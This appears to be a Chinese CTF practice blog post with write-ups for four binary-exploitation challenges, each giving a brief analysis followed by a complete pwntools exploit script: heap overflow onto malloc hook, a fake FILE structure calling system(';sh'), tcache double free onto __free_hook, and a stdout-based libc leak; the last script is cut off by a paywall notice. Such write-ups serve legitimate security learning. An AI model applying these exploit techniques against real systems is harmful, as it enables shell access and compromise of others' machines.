BUUCTF四月刷题
[OGeek2019]bookmanager
这道题程序看似比较复杂,实际上好好分析程序的结构和逻辑之后,还是一个堆溢出,在updata函数中更新text时候可以更新0xFF长度的内容,造成溢出。这类题比较重要的是一定要弄清楚程序中的各种结构再下手。
libc泄漏的手段还是通过small bin free进unsorted bin之后打印出main_arena附近的地址;get shell是通过堆溢出修改FD指针打malloc hook,惊喜的是,居然不用realloc来调节栈地址了,直接用one gadget就打通了。
from pwn import *
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25457)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add_chapter(chapter):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("name:")
io.send(chapter)
def add_section(chapter, section):
io.recvuntil("choice:")
io.sendline("2")
io.recvuntil("into:")
io.sendline(chapter)
io.recvuntil("0x")
section_ptr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("name:")
io.send(section)
return section_ptr
def add_text(section, size, text):
io.recvuntil("choice:")
io.sendline("3")
io.recvuntil("into:")
io.sendline(section)
io.recvuntil("write:")
io.sendline(str(size))
io.recvuntil("Text:")
io.send(text)
def remove_chapter(chapter):
io.recvuntil("choice:")
io.sendline("4")
io.recvuntil("name:")
io.sendline(chapter)
def remove_section(section):
io.recvuntil("choice:")
io.sendline("5")
io.recvuntil("name:")
io.sendline(section)
def remove_text(text):
io.recvuntil("choice:")
io.sendline("6")
io.recvuntil("name:")
io.sendline(text)
def preview():
io.recvuntil("choice:")
io.sendline("7")
def update_text(section, text):
io.recvuntil("choice:")
io.sendline("8")
io.recvuntil("Text):")
io.sendline("Text")
io.recvuntil("name:")
io.sendline(section)
io.recvuntil("New Text:")
io.send(text)
io.recvuntil("create: ")
io.sendline("start")
add_chapter("c0")
add_section("c0", "s0")
add_text("s0", 0x90, "aaa")
add_section("c0", "s1")
add_section("c0", "s2")
add_section("c0", "s3")
add_section("c0", "s4")
remove_text("s0")
add_text("s0", 0x90, "a"*0x8)
preview()
io.recvuntil("Text:aaaaaaaa")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b20
print "main arena: " + hex(main_arena)
print "libc addr: " + hex(libc_addr)
# edit fd to attack malloc hook
add_text("s1", 0x60, "aa")
add_text("s2", 0x60, "aa")
remove_text("s2")
fake_fd = main_arena - 0x33
payload = "\x00"*0x60
payload += p64(0x0)
payload += p64(0x71)
payload += p64(fake_fd)
update_text("s1", payload)
add_text("s3", 0x60, "aa")
one_gadget = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.symbols["__libc_realloc"]
add_text("s4", 0x60, "a")
payload = "a"*0xb
payload += p64(one_gadget)
payload += p64(realloc_addr)
update_text("s4", payload)
#debug("b *$rebase(0xF5F)")
io.recvuntil("choice:")
io.sendline("1")
io.interactive()
pwnable_seethefile
第一次做IO FILE的题目,记录一下。程序在exit功能处有一个bss段上的溢出,可以覆盖file指针,于是思路就是将file指针指向伪造的FILE struct结构体,并同时将vtable指针指向有是system的区域。
有几个注意点:
- 泄漏libc的方法是通过读取这个文件/proc/self/maps,找到libc地址
- 32bit下_IO_FILE结构体的大小是0x94,也就是vtable的偏移是0x94
- 构造FILE结构体只需要关注两个变量,第一个为FILE结构体的_flags字段,只需要_flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)。将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以’;'开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可。其中要注意的是_flags位送入的时候要符合小段法的原则,送入“\xff\xdf\xff\xff”,而不是"\xff\xff\xdf\ff",这样才能直接调用_IO_FINISH(fp)
- BUUCTF没有给libc文件,应该是漏了,pwnable.tw有对应的libc文件
from pwn import *
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 26869)
#io = remote("chall.pwnable.tw", 10200)
libc = ELF("./libc_32.so.6")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def open(file_name):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("see :")
io.sendline(file_name)
def read():
io.recvuntil("choice :")
io.sendline("2")
def write():
io.recvuntil("choice :")
io.sendline("3")
def close():
io.recvuntil("choice :")
io.sendline("4")
def exit(name):
io.recvuntil("choice :")
io.sendline("5")
io.recvuntil("name :")
io.sendline(name)
open("/proc/self/maps")
read()
write()
io.recvline()
io.recvline()
io.recvline()
io.recvline()
libc_addr = int(io.recv(8), 16) + 0x1000
print "libc addr: " + hex(libc_addr)
close()
system_addr = libc_addr + libc.symbols["system"]
open("/proc/self/maps")
fake_file_addr = 0x0804B300
payload = "a"*0x20
payload += p32(fake_file_addr) #addr:0x0804B280
payload += "\x00"*0x7c
payload += "\xff\xdf\xff\xff;sh".ljust(0x94, "\x00") #addr:0x0804B300 fake file struct
payload += p32(fake_file_addr+0x94+4) ##addr:0x0804B394 vtable
payload += p32(0x0) * 2
payload += p32(system_addr)
exit(payload)
io.interactive()
ciscn_2019_en_3
读取ID的时候,由于用的read函数,没有\x00的截断,所以在下面puts的时候就可以泄漏出栈上的地址,进而得到libc基址。然后就是tcache double free,打__free_hook,最后执行system("/bin/sh")
from pwn import *
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25940)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def debug():
gdb.attach(io)
def add(size, content):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("story: \n")
io.sendline(str(size))
io.recvuntil("story: ")
io.send(content)
def delete(index):
io.recvuntil("choice:")
io.sendline("4")
io.recvuntil("index:\n")
io.sendline(str(index))
io.recvuntil("name?\n")
io.sendline("coco")
io.recvuntil("ID.\n")
io.send("a"*8)
io.recvuntil("a"*8)
libc_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x81237
print "libc addr: " + hex(libc_addr)
add(0x30, "a")
add(0x20, "/bin/sh\x00")
delete(0)
delete(0)
add(0x30, p64(libc_addr + libc.symbols["__free_hook"]))
add(0x30, "a")
add(0x30, p64(libc_addr + libc.symbols["system"]))
delete(1)
#debug()
io.interactive()
de1ctf_2019_weapon
这道题没有puts函数,所以这里用stdout来泄漏libc。将一个0x70的chunk同时放入fastbin和unsorted bin中,这样就可以在fastbin的fd指针踩出libc中的地址,然后修改后几位(有一位需要爆破),让fd指针指向_IO_2_1_stdout_结构体所在的fake chunk,修改_flag和write base,使得打印出libc中的地址。最后打malloc hook来get shell。
注意点:
- 修改了stdout之后,再调用puts不会输出\n了,要相应的做修改
- 需要爆破的题目都可以使用IPython的embed功能进行调试
#coding=utf-8
from pwn import *
from IPython import embed as ipy
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if not command:
gdb.attach(io)
else:
gdb.attach(io, command)
def create(size, index, content, flag=0):
if flag:
io.recvuntil("choice >> ")
else:
io.recvuntil("choice >> \n")
io.sendline("1")
io.recvuntil("weapon: ")
io.sendline(str(size))
io.recvuntil("index: ")
io.sendline(str(index))
if flag:
io.recvuntil("name:")
else:
io.recvuntil("name:\n")
io.send(content)
def delete(index, flag=0):
if flag:
io.recvuntil("choice >> ")
else:
io.recvuntil("choice >> \n")
io.sendline("2")
io.recvuntil("idx :")
io.sendline(str(index))
def rename(index, content, flag=0):
if flag:
io.recvuntil("choice >> ")
else:
io.recvuntil("choice >> \n")
io.sendline("3")
io.recvuntil("idx: ")
io.sendline(str(index))
if flag:
io.recvuntil("content:")
else:
io.recvuntil("content:\n")
io.send(content)
def exp():
payload = p64(0) + p64(0x21)
create(0x10, 0, payload) #0
create(0x60, 1, "a") #1
create(0x10, 2, "a") #2
create(0x10, 3, "a") #3
delete(3)
delete(2)
rename(2, p8(0x10))
create(0x10, 4, "a")
delete(1)
payload = p64(0x0) + p64(0x91)
create(0x10, 5, payload)
delete(1)
fake_chunk = 0x75dd
# debug("b *$rebase(0xC11)")
# ipy()
rename(1, p16(fake_chunk))
rename

最低0.47元/天 解锁文章
4995

被折叠的 条评论
为什么被折叠?



